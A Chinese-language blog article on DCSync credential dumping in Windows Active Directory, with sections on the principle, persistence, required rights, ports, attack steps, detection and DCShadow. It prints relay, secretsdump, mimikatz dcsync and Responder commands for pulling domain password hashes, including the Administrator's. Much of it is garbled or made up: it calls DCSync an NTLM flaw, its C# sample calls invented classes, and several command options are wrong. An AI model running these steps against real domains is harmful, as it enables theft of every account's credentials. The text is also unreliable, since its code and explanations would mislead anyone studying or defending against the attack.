一、DCSync原理
1、在介紹DCSync原理之前,我們先來了解一下NTLM協議。NTLM(Windows NT LAN Manager)協議是Windows系統中一種認證協議,最早出現在Windows NT 4.0系統中,現仍廣泛應用在微軟公司的Windows操作系統中。
2、NTLM協議主要由三個部分組成:認證請求消息(Type1 Message)、挑戰響應消息(Type2 Message)和最終認證消息(Type3 Message)。
3、DCSync利用了NTLM協議的漏洞,通過模擬Windows AD域機器,向目標域控服務器發送認證請求消息,從而獲取域內所有帳戶的哈希值。
# C#代碼示例
using System;
using System.DirectoryServices;
namespace DCSync
{
class DCSync
{
static void Main(string[] args)
{
//首先需要獲取目標域的SID
string targetDomain = "target.com";
DirectoryEntry entry = new DirectoryEntry("LDAP://DC=target.com");
byte[] domainSID = entry.Properties["objectSid"].Value as byte[];
//構造NTLM認證請求消息
byte[] type1Message = NTLM.GenerateType1Message(targetDomain);
//發送NTLM認證請求消息,並獲取挑戰響應消息
byte[] type2Message = SamrInterop.GetChallengeResponse(type1Message);
//構造最終認證消息,並獲取所有帳戶哈希值
byte[] type3Message = NTLM.GenerateType3Message(targetDomain, type2Message, domainSID);
byte[][] hashes = SamrInterop.GetHashes(type3Message);
foreach (byte[] hash in hashes)
{
Console.WriteLine(BitConverter.ToString(hash).Replace("-", ""));
}
}
}
}
二、DCSync權限維持
1、DCSync有一種比較實用的用途,就是可以利用其獲取的憑據,來維持域內的持久化控制權。使用NTLM Relay攻擊,攻擊者能夠利用獲取到的哈希值直接對目標域控服務器進行密碼重置,從而取得管理權限。
2、NTLM Relay攻擊可繞過身份驗證和授權過程拿到域內帳戶的成對哈希值,因此攻擊者可以構造一個NTLM認證哈希驗證,從而獲取信任關係和管理權限。
//使用impacket庫進行NTLM Relay攻擊的示例
sudo python ntlmrelayx.py -t ldap://DC.target.com -smb2support -socks -wh wpad.dat -no-pass
三、DCSync權限
1、DCSync默認情況下需要高權限,包括域管理組(Domain Admins)和企業管理員(Enterprise Admins)權限。這是由於DCSync需要從目標域控服務器獲取域內所有帳戶的哈希值,進而破解密碼、獲取機密等操作需要高權限。
2、域用戶可以使用DCSync獲得自己的密碼哈希,從而進行密碼破解等操作。但是,DCSync操作並不能提供域控制器的完全操作控制權。
四、DCSync端口
1、作為Windows AD域控制器的一部分,DCSync利用TCP/UDP的RPC協議在域控制器上運行,RPC協議通常在端口135上啟動。在端口135之後,RPC端口可能在49152-65535之間變化。
2、可以使用Nmap等工具掃描目標系統,發現運行域控制器服務的端口號。
# Nmap掃描命令示例
sudo nmap -sT -p 135,139,445,49152-65535 -n target.com
五、DCSync攻擊
1、攻擊者可以使用DCSync攻擊工具,先通過NTLM中繼攻擊泄露任意域用戶的NTLM哈希,然後再使用這些哈希進行DCSync攻擊。
2、可以使用impacket庫,通過域cred表單和目標用戶(User1)的NTLM哈希來獲取另一個用戶(User2)的NTLM哈希。
# 使用impacket庫獲取域cred表單和目標用戶(User1)的NTLM哈希
secretsdump.py -just-dc-ntlm DC=target.com USER=User1
# 使用獲得的NTLM哈希進行DCSync攻擊
mimikatz "lsadump::dcsync /user:User2 /domain:target.com /dc:DC.target.com"
六、DCSync檢測
1、 DCsync根據誰能訪問LSA的重要性,它對IDS / IPS / SIEM系統具有很高的檢測難度,在NTLM認證響應中使用的私有字段,而不是打印的常規ldap查詢形式。
2、微軟給出了關於DCSync檢測的建議,包括強制實施NTLMv2,設計針對安全性高風險操作的源驗證策略等。
七、DCSync_DCShadow疑似攻擊
1、DCShadow是一種技術,可以使用虛擬機成為域控制器,從而控制域並獲得管理員權限。DCShadow需要虛擬機作為攻擊工具,而攻擊者通過偽造域控制器來進行攻擊,使得其操作得以更加隱蔽,以致於很難被檢測到。
2、在DCShadow的攻擊中,攻擊者可以利用NTDS.dit文件來恢復域內活動目錄數據。因為NTDS.dit文件中存放着AD DS域數據庫存儲的所有信息,包括域帳戶、組成員關係、ACL等.
八、DCSync c#
1、C#代碼示例如上所述,需要用到System.DirectoryServices庫,且需要在擁有高權限的機器上運行。
九、DCSync linux
1、Linux上大多數NTLM Relay攻擊工具都支持DCSync,如Responder與impacket庫。
# 使用Responder執行NTLM Relay攻擊,並使用獲得的NTLM哈希進行DCSync攻擊
sudo responder -I eth0 -wF
mimikatz "lsadump::dcsync /user:Administrator /domain:target.com /dc:DC.target.com /ntlm:c8343e85e06c5ecd88e1715d9c038ffa /format:hashcat"
總之,DCSync漏洞利用雖然需要擁有高權限,但若被攻擊者利用,則可以造成數據泄露、信息安全等問題,因此需要切實加強自身網絡安全防禦機制,降低DCSync攻擊的風險。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/233916.html